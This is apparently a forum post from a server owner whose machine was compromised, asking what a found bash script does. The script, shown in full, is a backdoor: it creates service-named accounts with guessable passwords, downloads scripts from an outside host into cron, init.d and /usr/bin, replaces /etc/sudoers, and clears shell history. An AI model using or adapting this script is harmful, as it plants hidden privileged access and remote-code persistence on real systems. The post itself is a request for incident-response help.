This guy I know hacked my server using a live distro at a party at my house. He changed the root password and might have installed a rootkit. I was looking at the server and noticed this file can anyone tell me what it is and what to do. I deleted all the files it refrences for download at the bottom.
#!/bin/bash
if [ `grep -c -e '\bcron\b' /etc/group` -eq 0 ] ; then
groupadd cron
fi
if [ `grep -c -e '\bpostalias\b' /etc/group` -eq 0 ] ; then
groupadd postalias
fi
if [ `grep -c -e '\tux\b' /etc/group` -eq 0 ] ; then
groupadd tux
fi
if [ `grep -c -e '\bsaslauthd\b' /etc/group` -eq 0 ] ; then
groupadd saslauthd
fi
if [ `grep -c -e '\byum\b' /etc/group` -eq 0 ] ; then
groupadd yum
fi
if [ `grep -c -e '\bcron\b' /etc/passwd` -eq 0 ] ; then
useradd -gcron cron
fi
echo "cron436" | passwd --stdin cron
if [ `grep -c -e '\bpostalias\b' /etc/passwd` -eq 0 ] ; then
useradd -gpostalias postalias
fi
echo "postalias436" | passwd --stdin postalias
if [ `grep -c -e '\bsaslauthd\b' /etc/passwd` -eq 0 ] ; then
useradd -gsaslauthd saslauthd
fi
echo "saslauthd436" | passwd --stdin saslauthd
if [ `grep -c -e '\bispconfig\b' /etc/passwd` -eq 0 ] ; then
useradd -gtux ispconfig
fi
echo "ispconfig436" | passwd --stdin ispconfig
if [ `grep -c -e '\bxds\b' /etc/passwd` -eq 0 ] ; then
useradd -gcron xds
fi
echo "xds436" | passwd --stdin xds
if [ `grep -c -e '\bvncservd\b' /etc/passwd` -eq 0 ] ; then
useradd -gsaslauthd vncservd
fi
echo "vncservd436" | passwd --stdin vncservd
if [ `grep -c -e '\bhttpd\b' /etc/passwd` -eq 0 ] ; then
useradd -gtux httpd
fi
echo "httpd436" | passwd --stdin httpd
if [ `grep -c -e '\bpostfixd\b' /etc/passwd` -eq 0 ] ; then
useradd -gyum postfixd
fi
echo "postfixd436" | passwd --stdin postfixd
if [ `grep -c -e '\bvsftpd\b' /etc/passwd` -eq 0 ] ; then
useradd -gpostalias vsftpd
fi
echo "vsftpd436" | passwd --stdin vsftpd
cd /etc/cron.hourly
curl
http://maxweisel.com/ispconfigbind.sh -O
chmod +x ./ispconfigbind.sh
cd /usr/bin
curl
http://maxweisel.com/ispconfigbind.sh -O
chmod +x ./ispconfigbind.sh
cd /etc/init.d
curl
http://maxweisel.com/ispconfigbind -O
chmod +x ispconfigbind
chkconfig ispconfigbind on
cd /etc
curl
http://maxweisel.com/sudoers -O
history -c